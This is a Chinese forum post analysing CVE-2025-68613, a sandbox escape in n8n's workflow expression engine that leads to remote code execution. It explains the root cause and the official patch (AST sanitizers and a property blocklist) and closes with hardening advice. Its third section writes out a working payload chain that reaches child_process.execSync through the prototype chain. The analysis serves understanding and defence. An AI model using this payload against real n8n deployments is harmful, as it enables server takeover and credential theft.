找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

4342

积分

1

好友

601

主题
发表于 1 小时前 | 查看: 4| 回复: 0

n8n表达式引擎沙箱逃逸与RCE漏洞示意图

CVE-2025-68613 是一个影响 n8n 自动化平台的高危远程代码执行(RCE)漏洞。其根源在于平台的表达式执行引擎在处理用户输入的 JavaScript 表达式时存在缺陷,攻击者能够通过表达式注入实现 JavaScript 沙箱逃逸,进而获取 Node.js 运行时对象并执行任意系统命令。

本文将从漏洞根因、具体利用链、官方补丁机制以及安全实践建议四个方面,对这一典型的安全问题进行深入的技术拆解。

一、漏洞概述与威胁态势

n8n表达式注入导致RCE的攻击链示意图

漏洞类型

CVE-2025-68613 属于典型的远程代码执行漏洞(RCE)

攻击链结构

Expression Injection

JavaScript Sandbox Escape

Node.js Runtime Access

System Command Execution

典型攻击场景

攻击者通过向 workflow 配置中的表达式字段注入恶意代码来触发漏洞,例如:={{ malicious_expression }}。该表达式会在 n8n 服务端被当作 JavaScript 代码执行,从而绕过安全边界。

常见的易受攻击环境包括:

  • 互联网暴露的 n8n 服务(默认端口 5678)
  • 多租户自动化平台
  • 允许低权限用户编辑 workflow 的部署模式

在野利用情况

2025年12月,美国网络安全和基础设施安全局(CISA)已将 CVE-2025-68613 纳入其“已知被利用漏洞”(KEV)目录。这表明:

  • 该漏洞已存在真实世界的攻击活动。
  • 攻击代码已在实际环境中被使用。

一旦攻击成功,攻击者能够实现以下目标:

  • 执行任意系统命令
  • 读取服务器环境变量
  • 窃取 API 密钥等敏感凭据
  • 建立反向 shell
  • 进行内网横向移动

二、表达式执行机制与攻击入口

n8n workflow 内置了一套强大的表达式系统,允许用户在节点中动态处理数据。

常见表达式示例

{{$json["username"]}}
{{$env.SECRET}}
{{$now}}

这些表达式并非简单的变量替换,而是在 n8n 服务器端执行的 JavaScript 代码。其内部执行逻辑可以简化为类似下面的函数:

function evaluateExpression(expr, context) {
const fn = new Function("ctx", `
   with (ctx) {
     return ${expr};
    }
  `);
return fn(context);
}

这里存在一个关键的安全问题new Function()eval() 功能相似,用户输入的表达式内容会被直接拼接到函数体字符串中并执行。

表达式的运行上下文(ctx)通常包含:

  • $json(当前 workflow 的数据)
  • $env(环境变量)
  • $now(时间对象)
  • 各种内置的 helper 方法

因此,n8n 的表达式系统本质上是一个服务器端的 JavaScript 执行环境。如果这个环境的沙箱隔离不彻底,攻击者就有机会访问到外部的 Node.js 运行时对象,从而打开 RCE 的大门。

三、沙箱逃逸与 RCE 利用链

该漏洞的利用核心依赖于 JavaScript 的原型链机制。

关键利用点

通过一个简单的 JavaScript 表达式,攻击者可以获取到全局的 Function 构造函数:

({}).constructor.constructor

解析

  • {} → 创建一个空对象(Object 实例)
  • ({}).constructor → 获取该对象的构造函数,即 Object 函数本身
  • Object.constructor → 获取 Object 函数的构造函数,即顶层的 Function 构造函数

拥有了 Function 构造函数,就等于获得了执行任意 JavaScript 代码的能力。

获取 Node.js 运行时对象

攻击者可以构造 Function 来返回 Node.js 的全局 process 对象:

({}).constructor.constructor("return process")()

返回结果

process

加载 Node.js 原生模块并执行命令

拿到 process 对象后,就可以通过它来加载任何 Node.js 原生模块,例如 child_process

process.mainModule.require("child_process")

将以上步骤串联起来,就构成了完整的 RCE 利用链:

({}).constructor.constructor("return process")()
.mainModule.require("child_process")
.execSync("whoami")
.toString()

这段表达式的执行结果就是服务器上 whoami 命令的输出。

攻击链完整流程

用户登录

创建或编辑 workflow

在 Set 等节点的表达式字段注入恶意 Payload

触发 workflow 执行

表达式引擎解析并执行 Payload

JavaScript 沙箱逃逸,访问 Node.js 运行时

实现远程代码执行(RCE)

Node.js child_process.execSync命令执行示意图

成功利用后,攻击者可以执行 child_process.execSyncfs.readFile、读取 process.env 等操作,从而全面控制服务器、窃取敏感数据。

四、补丁机制与安全修复分析

2025年11月,n8n 项目在 GitHub 上提交了针对此漏洞的安全补丁(关键提交:08f3320)。该补丁主要从以下三个方面增强了表达式沙箱的安全性。

1. 新增 FunctionThisSanitizer

  • 文件packages/workflow/src/expression-sandboxing.ts
  • 作用:这是一个新增的 AST(抽象语法树) Hook,用于阻止函数表达式(FunctionExpression)中的 this 关键字绑定到 Node.js 的全局对象(global)。

修复原理示例
原始攻击代码可能试图这样获取 process

( function () {
return this.process;
})()

补丁会通过 AST 重写,将其转换为:

( function () {
return this.process;
}).call({ process: {} })

通过 .call({ process: {} }) 显式地将函数内部的 this 绑定为一个只包含空 process 对象的上下文。这样,即使代码执行,this.process 指向的也是一个空对象 {},而非真实的 Node.js process 对象,从而阻断了利用路径。

2. 原型链访问限制

补丁引入了一个危险属性黑名单,用于拦截对关键原型链属性的访问:

const unsafeObjectProperties = new Set([
"__proto__",
"prototype",
"constructor",
"getPrototypeOf",
"mainModule",
"binding",
"_load",
]);

这个名单精准包含了此前攻击链中依赖的关键属性,例如 constructormainModule。当表达式试图访问对象上的这些属性时,沙箱会进行拦截,有效封堵了逃逸通道。

3. 表达式 AST 安全处理流程加固

n8n 使用自研的 @n8n/tournament 库对表达式进行 AST 解析和安全处理。补丁强化了该流程:

JS Expression
      ↓
AST Parse (解析为抽象语法树)
      ↓
AST Sanitization (安全清理)
      ↓
Expression Execute (安全执行)

AST Sanitization 阶段,补丁设置了多层 Hook 进行防护:

  • before (执行前): FunctionThisSanitizer(处理 this 绑定)
  • after (执行后):
    • PrototypeSanitizer(过滤原型链危险属性)
    • DollarSignValidator(验证 $ 前缀变量)

通过 AST 层的代码重写和属性访问过滤,极大地提升了沙箱的完整性和安全性。

五、总结与安全思考

CVE-2025-68613 是一个典型的 表达式注入导致沙箱逃逸 的远程代码执行漏洞。

漏洞的根本原因在于:系统将不可信的用户输入直接当作 JavaScript 代码执行,而为其提供的执行环境(沙箱)未能完全与主机运行时隔离。

这类设计问题常见于需要动态执行代码的场景,例如:

  • 模板引擎
  • 表达式计算系统
  • 插件或扩展机制
  • 低代码/自动化平台

如果隔离机制(沙箱)设计不完善或存在缺陷,这些功能点就容易成为攻击者实现 RCE 的入口。因此,在涉及代码动态执行的安全设计中,必须严格遵循以下原则:

  • 原则一:尽可能避免直接执行用户代码。
  • 原则二:如需支持,应使用功能受限的自定义表达式语言(DSL),而非完整的编程语言。
  • 原则三:必须使用经过严格验证的沙箱技术进行运行时隔离。
  • 原则四:遵循最小权限原则部署相关服务。

对于已经部署 n8n 的企业和安全团队,应立即检查版本并升级至已修复该漏洞的版本。由于该漏洞已被列入 CISA KEV 目录,表明其威胁迫在眉睫,应给予最高优先级的修复。同时,应持续监控自动化平台中的表达式执行行为,避免其成为攻击者穿透内网的跳板。

希望这篇对 CVE-2025-68613 的深度分析,能帮助你理解此类漏洞的原理与防御之道。安全是一个持续对抗的过程,保持学习与交流至关重要。欢迎在云栈社区的安全板块与更多同行探讨此类技术细节。




上一篇:Chrome 垂直选项卡功能启用指南:v146+版本设置与使用体验
下一篇:Java老炮与AI编程:为何35+程序员在复杂系统时代更值钱?
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-3-13 08:44 , Processed in 0.544332 second(s), 42 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表